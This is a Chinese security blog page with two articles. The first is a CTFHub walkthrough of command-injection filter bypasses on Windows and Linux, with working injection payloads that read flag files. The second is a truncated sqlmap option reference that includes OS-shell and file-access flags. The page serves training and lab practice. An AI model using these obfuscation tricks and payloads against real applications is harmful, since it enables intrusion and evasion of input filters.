首页
工具导航
留言面板
友情链接
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
7,828 阅读
2
2025最新渗透测试靶场推荐,新手必练的靶场推荐
5,158 阅读
3
src平台推荐,挖SRC必须知道的25个漏洞提交平台
4,322 阅读
4
几个常见的密码字典推荐
3,392 阅读
5
全网首发!HMV全套windows机器提权,域渗透教程,2w字超详细
3,214 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
服务器
登录
Search
标签搜索
渗透测试
内网渗透
Linux
网络协议
vulnhub
SQL注入
靶场实战
提权
代理隧道
域渗透
信息收集
权限提升
WAF绕过
hackmyvm
AI安全
云安全
权限维持
红队攻击
蓝队防御
云服务
白小羽
累计撰写
188
篇文章
累计收到
0
条评论
首页
导航
工具导航
留言面板
友情链接
搜索到
13
篇与
的结果
2025-05-18
从0-1讲解RCE漏洞绕过,Windows与LinuxRCE漏洞绕过实战解析
从0-1讲解RCE漏洞绕过,Windows与Linux/RCE漏洞绕过方式总结----实战解析前言本文讲解了Windows/Linux的常见命令以及命令执行漏洞的绕过方式,靶场环境为CTFhub,分别有命令注入、cat过滤、空格过滤、过滤目录分隔符、运算符过滤,这几种绕过方式Windows我们在Windows命令行中执行命令的时候,是不区分大小写的C:\>WHOAMI yv\administrator 在命令行中可以有无数个"C:\>wh""""oami yv\administrator C:\>wh""""""""""""""""""""""""""""""oami yv\administrator 不能有两个连续的^C:\>whoa^mi yv\administrator C:\>whoam^^i 'whoam^i' 不是内部或外部命令,也不是可运行的程序 或批处理文件。 C:\>who^a^m^i yv\administrator 在命令中如果 " 在^之前,此时"的数量必须为偶数C:\>who""a^mi yv\administrator C:\>who"a^mi 'who"a^mi' 不是内部或外部命令,也不是可运行的程序 或批处理文件。 在命令中"在^之后,且带有参数,则”也需要带有偶数C:\>n^et" user 'net" user' 不是内部或外部命令,也不是可运行的程序 或批处理文件。 C:\>n^et"" user \\YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。 也可以使用()对命令进行包裹C:\>(whoami) yv\administrator C:\>(n^et"" user) \\YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。 ()的数量不设上限C:\>(((whoami))) yv\administrator 使用变量简单拼接%%局部分开每个变量C:\>set cmd1=who C:\>set cmd2=am C:\>set cmd3=i C:\>%cmd1%%cmd2%%cmd3% yv\administrator 变量拼接方式二C:\>set cmd1=who C:\>set cmd3=i C:\>%cmd1%am%cmd3% yv\administrator 变量拼接方式三C:\>set cmd1=wh"""o C:\>set cmd3=i""" C:\>%cmd1%am%cmd3% yv\administrator 变量拼接方式四 ^C:\>set cmd1=wh""""o # 这里需要偶数,因为在变量拼接结果中有 ^ C:\>set cmd3=i""" # 后面正常多少个 " 都行 C:\>%cmd1%a^m%cmd3% yv\administrator 含有参数的命令,net userC:\>set cmd1=s""er C:\>set cmd2=t u C:\>set cmd3=n^e C:\>%cmd3%%cmd2%%cmd1% \\YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。 一次性执行多条命令C:\>cmd /C "set cmd1=s""ser && set cmd2=t u && set cmd3=n^e && %cmd3%%cmd2%%cmd1%" \\YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。 Windows环境变量切分先设置一个变量C:\>set cmd=whoami C:\>%cmd% yv\administrator 这个0,1表示的数组切片,代表前后切片的索引C:\>set cmd=whoami C:\>echo %cmd:~0,1% w C:\>echo %cmd:~0,4% whoa 也可以为负数,负数表示从右边开始数第几个C:\>set cmd=whoami C:\>echo %cmd:~-4,4% oami C:\>echo %cmd:~-6,4% whoa 当然也能直接向外部写一个php一句话木马检查是否存在for循环执行命令C:\>cmd /V:ON /C "set kpx=awlh2im,xiaoyu&& for %G in (1,3,-3,0,6,5) do set lq=!lq!!kpx:~%G,1!&& if %G==5 !lq:~4!" C:\>set lq=!lq!!kpx:~1,1! && if 1 == 5 !lq:~4! C:\>set lq=!lq!!kpx:~3,1! && if 3 == 5 !lq:~4! C:\>set lq=!lq!!kpx:~-3,1! && if -3 == 5 !lq:~4! C:\>set lq=!lq!!kpx:~0,1! && if 0 == 5 !lq:~4! C:\>set lq=!lq!!kpx:~6,1! && if 6 == 5 !lq:~4! C:\>set lq=!lq!!kpx:~5,1! && if 5 == 5 !lq:~4! yv\administrator LinuxLinux中是区分大小写的┌──(root㉿251ebe86465a)-[/] └─# LS LS: command not found ┌──(root㉿251ebe86465a)-[/] └─# Ls Ls: command not found 运算符;表示连续指令,即使前面那条命令报错,后面也会接着执行┌──(root㉿251ebe86465a)-[/] └─# LS;whoami LS: command not found root & 用于后台执行命令,这个可能看不出来┌──(root㉿251ebe86465a)-[/] └─# ls&wHoami [1] 59 archive-key.asc boot etc lib lib64 mnt proc run srv tmp var bin dev home lib32 media opt root sbin sys usr Command 'Whoami' not found, did you mean: command 'whoami' from deb coreutils Try: apt install <deb name> [1]+ Done ls --color=auto 我们使用ping 127.0.0.1 & whoami,这条命令会将ping放在后台执行,这个时候你没有设置ping的次数,就会一直执行下去,停止不了,而whoami已经执行完毕了。┌──(root㉿Kali)-[/usr/local] └─# ping 127.0.0.1& whoami [1] 4508 root PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=5.80 ms ┌──(root㉿Kali)-[/usr/local] └─# 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.593 ms 64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.049 ms 64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.044 ms 64 bytes from 127.0.0.1: icmp_seq=5 ttl=64 time=0.058 ms 64 bytes from 127.0.0.1: icmp_seq=6 ttl=64 time=0.045 ms --------之后将会一直运行下去,也停止不了。。。。 &&连接两个指令的时候,要保证命令两个命令都能正常执行,否则一个错,就执行不了了┌──(root㉿251ebe86465a)-[/] └─# ls&&whoami archive-key.asc boot etc lib lib64 mnt proc run srv tmp var bin dev home lib32 media opt root sbin sys usr root ┌──(root㉿251ebe86465a)-[/] └─# LS&&whoami LS: command not found |管道符:用于将一个命令的输出作为另一个命令的输入。它允许两个或多个命令之间传递数据。例如,我获取这个/data路径的下的所有包含boo的文件┌──(root㉿251ebe86465a)-[/] └─# ls | grep '*boo*' boot ||逻辑运算符:如果||左边的命令执行失败(返回非零退出状态),那么||右边的命令将会被执行。执行成功一个命令后,后面的苏哦有命令都不会执行。┌──(root㉿251ebe86465a)-[/] └─# ip addr || wHoami || ls 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 5: eth0@if6: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0 valid_lft forever preferred_lft forever 转义字符\┌──(root㉿251ebe86465a)-[/] └─# who\ami root '',(),$,``┌──(root㉿251ebe86465a)-[/] └─# who''ami root ┌──(root㉿251ebe86465a)-[/] └─# (whoami) root ┌──(root㉿251ebe86465a)-[/] └─# (who''ami) root ┌──(root㉿251ebe86465a)-[/] └─# `(echo whoami)` root ┌──(root㉿251ebe86465a)-[/] └─# $(echo whoami) root 命令引用┌──(root㉿Kali)-[/data] └─# t=l;j=s;$t$j #相当于执行了 ls 谷歌插件 GitHack miku Linux特有变量$1,$*,$@,$n这个n表示除0以外的任意数字,都可以作为系统命令绕过的方式┌──(root㉿Kali)-[/data] └─# who$2ami root ┌──(root㉿Kali)-[/data] └─# who$4ami root ┌──(root㉿Kali)-[/data] └─# who$*ami root ┌──(root㉿Kali)-[/data] └─# who$@ami root ┌──(root㉿Kali)-[/data] └─# who$0ami who-zshami:未找到命令 Linux通配符我们以执行whoami这个命令来进行测试┌──(root㉿Kali)-[/etc/docker] └─# whereis whoami whoami: /usr/bin/whoami /usr/share/man/man1/whoami.1.gz ┌──(root㉿Kali)-[/etc/docker] └─# /usr/bin/whoam* root ┌──(root㉿kali)-[/etc/docker] └─# /usr/bin/whoam? root ┌──(root㉿kali)-[/etc/docker] └─# /usr/bin/wh?am? root ┌──(root㉿kali)-[/etc/docker] └─# /usr/bin/????mi root ┌──(root㉿kali)-[/etc/docker] └─# /u?r/b?n/????mi root ┌──(root㉿kali)-[/etc/docker] └─# /*/b?n/????mi root Linux中命令中的命令虽然会报错,但是命令也会正常执行┌──(root㉿kali)-[/etc/docker] └─# `666666` 666666:未找到命令 ┌──(root㉿kali)-[/etc/docker] └─# 666666`whoami`6666 666666root6666:未找到命令 ┌──(root㉿kali)-[/etc/docker] └─# `6666`whoami`6666` 6666:未找到命令 6666:未找到命令 root ┌──(root㉿kali)-[/etc/docker] └─# 6666`whoami`6666 6666root6666:未找到命令 ┌──(root㉿kali)-[/etc/docker] └─# w`sfdawfewa`ho`sajfdkljas`am`sdjflk123`i sfdawfewa:未找到命令 sajfdkljas:未找到命令 sdjflk123:未找到命令 root ┌──(root㉿kali)-[/etc/docker] └─# wh${sdf}oam${ddkjdld}i root ┌──(root㉿kali)-[/etc/docker] └─# wh${sdf242341}oam${ddkjdld234232}i root Linux环境变量切割查看环境变量┌──(root㉿251ebe86465a)-[/] └─# echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 查看环境变量的长度┌──(root㉿251ebe86465a)-[/] └─# echo ${#PATH} 60 分割环境变量┌──(root㉿kali)-[/etc/docker] └─# echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/root/.dotnet/tools ┌──(root㉿kali)-[/usr/local] └─# echo ${PATH:0:10} /usr/local ┌──(root㉿kali)-[/usr/local] └─# echo ${PATH:0:1} / 靶场练习CTFHUB 使用&&符号,没有获取到想要的结果,因为&&在前一个命令没有执行结束的时候,是不会执行后面的命令的。当然还有种思路就是指定次数,使用-c参数,这里是没有效果的┌──(root㉿kali)-[~] └─# ping -c 2 127.0.0.1 PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.489 ms 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.106 ms --- 127.0.0.1 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1004ms rtt min/avg/max/mdev = 0.106/0.297/0.489/0.191 ms ;绕过┌──(root㉿kali)-[~] └─# ping -c 2 127.0.0.1;whoami PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.558 ms 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.047 ms --- 127.0.0.1 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1008ms rtt min/avg/max/mdev = 0.047/0.302/0.558/0.255 ms root 使用&也可以得到结果,通过将ping命令放到后台执行,后面的结果也会执行[1] => /sys/devices/platform/serial8250/tty/ttyS2/flags payload:127.0.0.1 & cat /sys/devices/platform/serial8250/tty/ttyS2/flags [2] => /sys/devices/platform/serial8250/tty/ttyS0/flags payload:127.0.0.1 & cat /sys/devices/platform/serial8250/tty/ttyS0/flags [3] => /sys/devices/platform/serial8250/tty/ttyS3/flags payload:127.0.0.1 & cat /sys/devices/platform/serial8250/tty/ttyS3/flags [4] => /sys/devices/platform/serial8250/tty/ttyS1/flags payload:127.0.0.1 & cat /sys/devices/platform/serial8250/tty/ttyS1/flags [5] => /sys/devices/virtual/net/tunl0/flags payload:127.0.0.1 & cat /sys/devices/virtual/net/tunl0/flags [6] => /sys/devices/virtual/net/lo/flags payload:127.0.0.1 & cat /sys/devices/virtual/net/lo/flags 这些payload都给你们试过了,没有flag不断执行命令,找到这个web目录中有一个数字.php查看即可得知payload127.0.0.1 & cat /var/www/html/17165225371506.php 查看源码过滤cat题目:过滤了cat命令之后,你还有什么方法能读到 Flag?查看目录,他换了个名字没有cat那么在Linux中还有这样几个命令tac命令是cat命令的反向操作,它会按行读取文件内容,但会以相反的顺序输出。这意味着文件的最后一行将首先显示,而第一行将最后显示。127.0.0.1 &tac /var/www/html/flag_9902871730290.php less命令与more命令类似,也是用于分页显示文本文件的内容,但less提供了更多的导航选项,如向前翻页、向后翻页、搜索文本等。127.0.0.1 &less 5 /var/www/html/flag_9902871730290.php head命令用于显示文件的开头部分,默认显示前10行,但可以通过选项指定显示的行数。127.0.0.1 &head 5 /var/www/html/flag_9902871730290.php tail命令用于显示文件的末尾部分,默认显示最后10行,与head命令相对应。它还可以用于实时跟踪文件的新增内容。127.0.0.1 &tail 5 /var/www/html/flag_9902871730290.php nl命令与cat -b命令相似,用于显示文件内容并在每行前加上行号,但nl提供了更多的格式化选项。127.0.0.1 & nl /var/www/html/flag_9902871730290.php awk是一个强大的文本处理工具,虽然它主要用于模式扫描和处理语言,但在某些情况下,可以使用awk命令以类似于cat的方式显示文件内容,同时添加额外的文本处理功能。127.0.0.1 & awk '{print}' /var/www/html/flag_9902871730290.php more命令用于分页显示文本文件的内容,用户可以通过按空格键翻页,按b键回退,按q键退出。虽然它主要用于分页查看,但在逐页查看文件内容时,与cat命令直接显示整个文件内容的方式形成对比。127.0.0.1 & more /var/www/html/flag_9902871730290.php 过滤空格分析源码,使用preg_match_all函数检查变量$ip中是否包含空格。空格的绕过方式一般有(针对于本题来讲)1、${IFS}代替空格127.0.0.1&ls${IFS}/var/www/html/2、%09相当于tab键127.0.0.1&ls%09/var/www/html/3、大括号{}127.0.0.1&{ls,/var/www/html/}4、重定向字符> <>举例┌──(root㉿kali)-[/data] └─# ping -c 1 127.0.0.1;ls<>-l PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.701 ms --- 127.0.0.1 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.701/0.701/0.701/0.000 ms 谷歌插件 GitHack -l miku payload:127.0.0.1&ls<>/var/www/html/经过测试,上面四种仅有${IFS}成功完整payload127.0.0.1&cat${IFS}/var/www/html/flag_172742853821990.php 过滤目录分隔符题目:这次过滤了目录分割符 / ,你能读到 flag 目录下的 flag 文件吗?直接使用ls查看目录,没有东西试试%2F127.0.0.1 & ls %2Fvar%2Fwww%2Fhtml 那我们直接ls使用cd和;进行多行命令执行即可,一级目录一级目录的cd即可127.0.0.1;cd flag_is_here;cat flag_31328570616525.php 过滤运算符题目:过滤了几个运算符, 要怎么绕过呢?分析源码,过滤了运算符,但是也没完全过滤,少了个;;即可127.0.0.1;cat flag_5393398119154.php 往期文章推荐Love-Yi情侣网站存在SQL注入漏洞【kali笔记】 Kali Shell编程从基础到进阶【kali笔记】Metasploit Framework (MSF) 从基础到进阶使用指南SQL注入绕过某狗的waf防火墙,这一篇就够了,6k文案超详细我的《护网奇遇记》
2025年05月18日
890 阅读
0 评论
0 点赞
2025-05-18
1w字带你了解sqlmap,从0到1,WAF绕过,高级用法一文通透
喜欢长文吗?1w字带你了解sqlmap,从0到1,WAF绕过,高级用法一文通透前言在信息安全领域,SQL注入攻击是一种极为常见且危害严重的安全漏洞。攻击者利用Web应用程序对SQL查询的不当处理,通过注入恶意SQL代码,从而绕过安全措施,非法访问或篡改数据库中的数据。随着网络安全威胁的日益严峻,了解和掌握SQL注入攻击的检测与防御技术变得尤为重要。sqlmap作为一款开源的自动化SQL注入工具,凭借其强大的功能和易用性,成为了安全研究人员和渗透测试人员不可或缺的利器。它不仅能够帮助用户快速发现Web应用程序中的SQL注入漏洞,还能进一步枚举数据库信息、提取数据,甚至执行操作系统命令,为安全评估提供全面深入的分析报告。本文旨在通过详细介绍sqlmap的基本和高级用法,帮助读者快速上手并掌握这一强大的渗透测试工具。从基本的参数使用到高级的绕过技巧,我们将一步步引导读者深入理解sqlmap的工作原理和应用场景。同时,通过实例演示和技巧分享,帮助读者在实际操作中灵活运用sqlmap,提高渗透测试的效率与成功率。尽管sqlmap支持多种注入技术,但并不能保证能够检测所有类型的SQL注入漏洞。以下是一些sqlmap可能难以检测或无法直接检测到的注入类型: 二次注入(Second-Order SQL Injection):二次注入发生在应用程序首先接收并存储了恶意输入,然后在稍后的时间点(通常是在另一个请求中)这个存储的输入被未经验证地用于SQL查询。由于恶意输入并不是直接用于触发SQL查询,因此sqlmap可能难以直接检测到这种注入类型,除非它能够在两个请求之间正确地模拟应用程序的行为。 基于DOM的SQL注入:这种注入类型发生在客户端JavaScript代码中,而不是服务器端。sqlmap主要关注服务器端的安全漏洞,因此它无法直接检测基于DOM的SQL注入。这种类型的注入通常需要通过手动分析客户端代码或使用其他客户端安全测试工具来发现。 复杂的WAF/IPS绕过:某些Web应用防火墙(WAF)或入侵防御系统(IPS)可能采用高级的检测和防御机制来阻止sqlmap的自动化攻击。如果WAF/IPS配置得当且更新及时,sqlmap可能无法绕过这些安全措施来检测SQL注入漏洞。在这种情况下,可能需要结合手动测试、定制攻击载荷或使用其他渗透测试工具来绕过WAF/IPS。 基于存储过程的SQL注入:虽然sqlmap支持检测和利用基于存储过程的SQL注入漏洞,但某些复杂的存储过程逻辑可能使得自动化检测变得困难。存储过程可能包含多个SQL语句、条件逻辑和参数处理,这些都可能使得sqlmap难以准确预测和构造有效的注入载荷。 盲注限制:在某些情况下,由于数据库配置或网络延迟等原因,盲注(基于布尔、时间或错误消息的盲注)可能受到严重限制。如果数据库响应非常慢或几乎不提供任何有用的错误信息,那么sqlmap的盲注技术可能无法有效地工作。 非常规SQL方言:虽然sqlmap支持多种数据库系统,但某些非常规或自定义的SQL方言可能不完全兼容。如果目标应用程序使用了一种sqlmap不完全支持的SQL方言,那么可能会影响到sqlmap的检测能力。 在开始之前先上表(方便以后查表),或者截图保存好,基础使用详细的之后描述sqlmap参数表基本的sqlmap参数Options: -h, --help Show basic help message and exit -hh 显示高级帮助消息并退出 --version 显示程序的版本号并退出 -v VERBOSE 详细级别:0-6(默认为 1) Target: At least one of these options has to be provided to define the target(s) -u URL, --url=URL 目标URL (e.g. "http://www.site.com/vuln.php?id=1") -g GOOGLEDORK 将Google dork结果处理为目标URL 请求: 这些选项可用于指定如何连接到目标URL --data=DATA 要通过POST发送的数据字符串(例如"id=1") --cookie=COOKIE HTTP Cookie头部的值(例如"PHPSESSID=a8d127e..") --random-agent 使用随机选择的HTTP User-Agent头部值 --proxy=PROXY 使用代理连接到目标URL --tor 使用Tor匿名网络 --check-tor 检查Tor是否正确使用 注入: 这些选项可用于指定要测试的参数,提供自定义的注入载荷和可选的篡改脚本 -p TESTPARAMETER 可测试的参数 --dbms=DBMS 强制指定后端DBMS的值 检测: 这些选项可用于自定义检测阶段 --level=LEVEL 要执行的测试级别(1-5,默认值1) --risk=RISK 要执行的测试风险级别(1-3,默认值1) 技术: 这些选项可用于调整特定SQL注入技术的测试 --technique=TECH.. 要使用的SQL注入技术(默认值"BEUSTQ") 枚举: 这些选项可用于枚举后端数据库管理系统中的信息、结构和数据 -a, --all 检索所有内容 -b, --banner 检索DBMS横幅 --current-user 检索DBMS当前用户 --current-db 检索DBMS当前数据库 --passwords 枚举DBMS用户密码哈希值 --tables 枚举DBMS数据库表 --columns 枚举DBMS数据库表列 --schema 枚举DBMS模式 --dump 转储DBMS数据库表条目 --dump-all 转储所有DBMS数据库表条目 -D DB 要枚举的DBMS数据库 -T TBL 要枚举的DBMS数据库表 -C COL 要枚举的DBMS数据库表列 操作系统访问: 这些选项可用于访问后端数据库管理系统的底层操作系统 --os-shell 提示进行交互式操作系统shell --os-pwn 提示进行OOB shell、Meterpreter或VNC 常规: 这些选项可用于设置一些常规工作参数 --batch 不要询问用户输入,使用默认行为 --flush-session 清除当前目标的会话文件 杂项: 这些选项不属于任何其他类别 --wizard 面向初学者用户的简单向导界面 高阶用法Options: -h, --help Show basic help message and exit -hh 显示高级帮助消息并退出 --version 显示程序的版本号并退出 -v VERBOSE 详细级别:0-6(默认为 1) Target: At least one of these options has to be provided to define the target(s) -u URL, --url=URL 目标URL (e.g. "http://www.site.com/vuln.php?id=1") -d DIRECT 用于直接数据库连接的连接字符串 -l LOGFILE 从Burp或WebScarab代理日志文件中解析目标 -m BULKFILE 从文本文件中扫描多个目标 -r REQUESTFILE 从文件中加载HTTP请求 -g GOOGLEDORK 将Google dork结果处理为目标URL -c CONFIGFILE 从配置INI文件中加载选项 请求: 这些选项可用于指定如何连接到目标URL -A AGENT, --user.. HTTP User-Agent头部的值 -H HEADER, --hea.. 额外的头部(例如"X-Forwarded-For: 127.0.0.1") --method=METHOD 强制使用给定的HTTP方法(例如PUT) --data=DATA 要通过POST发送的数据字符串(例如"id=1") --param-del=PARA.. 用于分割参数值的字符(例如&) --cookie=COOKIE HTTP Cookie头部的值(例如"PHPSESSID=a8d127e..") --cookie-del=COO.. 用于分割cookie值的字符(例如;) --live-cookies=L.. 用于加载最新值的实时cookie文件 --load-cookies=L.. 包含Netscape/wget格式cookie的文件 --drop-set-cookie 忽略响应中的Set-Cookie头部 --mobile 通过HTTP User-Agent头部模拟智能手机 --random-agent 使用随机选择的HTTP User-Agent头部值 --host=HOST HTTP Host头部的值 --referer=REFERER HTTP Referer头部的值 --headers=HEADERS 额外的头部(例如"Accept-Language: frnETag: 123") --auth-type=AUTH.. HTTP身份验证类型(Basic,Digest,Bearer等) --auth-cred=AUTH.. HTTP身份验证凭据(用户名:密码) --auth-file=AUTH.. HTTP身份验证PEM证书/私钥文件 --abort-code=ABO.. 在(有问题的)HTTP错误代码上中止(例如401) --ignore-code=IG.. 忽略(有问题的)HTTP错误代码(例如401) --ignore-proxy 忽略系统默认代理设置 --ignore-redirects 忽略重定向尝试 --ignore-timeouts 忽略连接超时 --proxy=PROXY 使用代理连接到目标URL --proxy-cred=PRO.. 代理身份验证凭据(用户名:密码) --proxy-file=PRO.. 从文件中加载代理列表 --proxy-freq=PRO.. 在给定列表中更改代理之间的请求次数 --tor 使用Tor匿名网络 --tor-port=TORPORT 设置Tor代理端口(非默认值) --tor-type=TORTYPE 设置Tor代理类型(HTTP,SOCKS4或SOCKS5(默认)) --check-tor 检查Tor是否正确使用 --delay=DELAY 每个HTTP请求之间的延迟时间(秒) --timeout=TIMEOUT 连接超时前等待的秒数(默认值30) --retries=RETRIES 连接超时时的重试次数(默认值3) --retry-on=RETRYON 在正则表达式匹配内容时重试请求(例如"drop") --randomize=RPARAM 随机更改给定参数的值 --safe-url=SAFEURL 在测试期间频繁访问的URL地址 --safe-post=SAFE.. 发送到安全URL的POST数据 --safe-req=SAFER.. 从文件中加载安全的HTTP请求 --safe-freq=SAFE.. 在访问安全URL之间的常规请求次数 --skip-urlencode 跳过对负载数据的URL编码 --csrf-token=CSR.. 用于保存反CSRF令牌的参数 --csrf-url=CSRFURL 用于提取反CSRF令牌的URL地址 --csrf-method=CS.. 在访问反CSRF令牌页面时使用的HTTP方法 --csrf-data=CSRF.. 在访问反CSRF令牌页面时发送的POST数据 --csrf-retries=C.. 反CSRF令牌检索的重试次数(默认值0) --force-ssl 强制使用SSL/HTTPS --chunked 使用HTTP分块传输编码(POST)请求 --hpp 使用HTTP参数污染方法 --eval=EVALCODE 在请求之前评估提供的Python代码(例如"import hashlib;id2=hashlib.md5(id).hexdigest()") 优化: 这些选项可用于优化sqlmap的性能 -o 打开所有优化开关 --predict-output 预测常见查询的输出 --keep-alive 使用持久的HTTP(s)连接 --null-connection 在没有实际HTTP响应体的情况下获取页面长度 --threads=THREADS 最大并发HTTP(s)请求数(默认值1) 注入: 这些选项可用于指定要测试的参数,提供自定义的注入载荷和可选的篡改脚本 -p TESTPARAMETER 可测试的参数 --skip=SKIP 跳过对给定参数的测试 --skip-static 跳过不显示为动态的参数的测试 --param-exclude=.. 用于排除测试的参数的正则表达式(例如"ses") --param-filter=P.. 按位置选择可测试的参数(例如"POST") --dbms=DBMS 强制指定后端DBMS的值 --dbms-cred=DBMS.. DBMS身份验证凭据(用户名:密码) --os=OS 强制指定后端DBMS的操作系统 --invalid-bignum 使用大数来使值无效 --invalid-logical 使用逻辑操作使值无效 --invalid-string 使用随机字符串使值无效 --no-cast 关闭载荷转换机制 --no-escape 关闭字符串转义机制 --prefix=PREFIX 注入载荷前缀字符串 --suffix=SUFFIX 注入载荷后缀字符串 --tamper=TAMPER 使用给定的脚本对注入数据进行篡改 检测: 这些选项可用于自定义检测阶段 --level=LEVEL 要执行的测试级别(1-5,默认值1) --risk=RISK 要执行的测试风险级别(1-3,默认值1) --string=STRING 当查询评估为True时要匹配的字符串 --not-string=NOT.. 当查询评估为False时要匹配的字符串 --regexp=REGEXP 当查询评估为True时要匹配的正则表达式 --code=CODE 当查询评估为True时要匹配的HTTP代码 --smart 仅在存在正面启发式时执行彻底的测试 --text-only 仅基于文本内容比较页面 --titles 仅基于页面标题比较页面 技术: 这些选项可用于调整特定SQL注入技术的测试 --technique=TECH.. 要使用的SQL注入技术(默认值"BEUSTQ") --time-sec=TIMESEC 延迟DBMS响应的秒数(默认值5) --union-cols=UCOLS 要测试UNION查询SQL注入的列范围 --union-char=UCHAR 用于暴力破解列数的字符 --union-from=UFROM 在UNION查询SQL注入的FROM部分中使用的表 --union-values=U.. 用于UNION查询SQL注入的列值 --dns-domain=DNS.. 用于DNS泄露攻击的域名 --second-url=SEC.. 搜索第二次响应的结果页面URL --second-req=SEC.. 从文件中加载第二次HTTP请求 指纹识别: -f, --fingerprint 执行详细的DBMS版本指纹识别 枚举: 这些选项可用于枚举后端数据库管理系统中的信息、结构和数据 -a, --all 检索所有内容 -b, --banner 检索DBMS横幅 --current-user 检索DBMS当前用户 --current-db 检索DBMS当前数据库 --hostname 检索DBMS服务器主机名 --is-dba 检测DBMS当前用户是否为DBA --users 枚举DBMS用户 --passwords 枚举DBMS用户密码哈希值 --privileges 枚举DBMS用户权限 --roles 枚举DBMS用户角色 --dbs 枚举DBMS数据库 --tables 枚举DBMS数据库表 --columns 枚举DBMS数据库表列 --schema 枚举DBMS模式 --count 检索表的条目数 --dump 转储DBMS数据库表条目 --dump-all 转储所有DBMS数据库表条目 --search 搜索列、表和/或数据库名称 --comments 在枚举过程中检查DBMS注释 --statements 检索在DBMS上运行的SQL语句 -D DB 要枚举的DBMS数据库 -T TBL 要枚举的DBMS数据库表 -C COL 要枚举的DBMS数据库表列 -X EXCLUDE 不要枚举的DBMS数据库标识符 -U USER 要枚举的DBMS用户 --exclude-sysdbs 在枚举表时排除DBMS系统数据库 --pivot-column=P.. 枢轴列名称 --where=DUMPWHERE 在转储表时使用WHERE条件 --start=LIMITSTART 要检索的第一个转储表条目 --stop=LIMITSTOP 要检索的最后一个转储表条目 --first=FIRSTCHAR 要检索的第一个查询输出单词字符 --last=LASTCHAR 要检索的最后一个查询输出单词字符 --sql-query=SQLQ.. 要执行的SQL语句 --sql-shell 提示进行交互式SQL shell --sql-file=SQLFILE 从给定文件中执行SQL语句 暴力破解: 这些选项可用于运行暴力破解检查 --common-tables 检查常见表的存在 --common-columns 检查常见列的存在 --common-files 检查常见文件的存在 用户定义函数注入: 这些选项可用于创建自定义的用户定义函数 --udf-inject 注入自定义的用户定义函数 --shared-lib=SHLIB 共享库的本地路径 文件系统访问: 这些选项可用于访问后端数据库管理系统的底层文件系统 --file-read=FILE.. 从后端DBMS文件系统中读取文件 --file-write=FIL.. 在后端DBMS文件系统上写入本地文件 --file-dest=FILE.. 要写入的后端DBMS绝对文件路径 操作系统访问: 这些选项可用于访问后端数据库管理系统的底层操作系统 --os-cmd=OSCMD 执行操作系统命令 --os-shell 提示进行交互式操作系统shell --os-pwn 提示进行OOB shell、Meterpreter或VNC --os-smbrelay 一键提示进行OOB shell、Meterpreter或VNC --os-bof 存储过程缓冲区溢出利用 --priv-esc 数据库进程用户权限提升 --MSF-path=MSFPATH Metasploit Framework安装的本地路径 --tmp-path=TMPPATH 临时文件目录的远程绝对路径 Windows注册表访问: 这些选项可用于访问后端数据库管理系统的Windows注册表 --reg-read 读取Windows注册表键值 --reg-add 写入Windows注册表键值数据 --reg-del 删除Windows注册表键值 --reg-key=REGKEY Windows注册表键 --reg-value=REGVAL Windows注册表键值 --reg-data=REGDATA Windows注册表键值数据 --reg-type=REGTYPE Windows注册表键值类型 常规: 这些选项可用于设置一些常规工作参数 -s SESSIONFILE 从存储的(.sqlite)文件中加载会话 -t TRAFFICFILE 将所有HTTP流量记录到文本文件中 --abort-on-empty 在结果为空时中止数据检索 --answers=ANSWERS 设置预定义的答案(例如"quit=N,follow=N") --base64=BASE64P.. 包含Base64编码数据的参数 --base64-safe 使用URL和文件名安全的Base64字母表(RFC 4648) --batch 不要询问用户输入,使用默认行为 --binary-fields=.. 具有二进制值的结果字段(例如"digest") --check-internet 在评估目标之前检查互联网连接 --cleanup 从sqlmap特定的UDF和表中清理DBMS --crawl=CRAWLDEPTH 从目标URL开始爬取网站 --crawl-exclude=.. 用于排除爬取的页面的正则表达式(例如"logout") --csv-del=CSVDEL CSV输出中使用的分隔字符(默认值",") --charset=CHARSET 盲SQL注入字符集(例如"0123456789abcdef") --dump-file=DUMP.. 将转储的数据存储到自定义文件中 --dump-format=DU.. 转储数据的格式(CSV(默认值),HTML或SQLITE) --eta 为每个输出显示预计到达时间 --flush-session 清除当前目标的会话文件 --forms 解析和测试目标URL上的表单 --fresh-queries 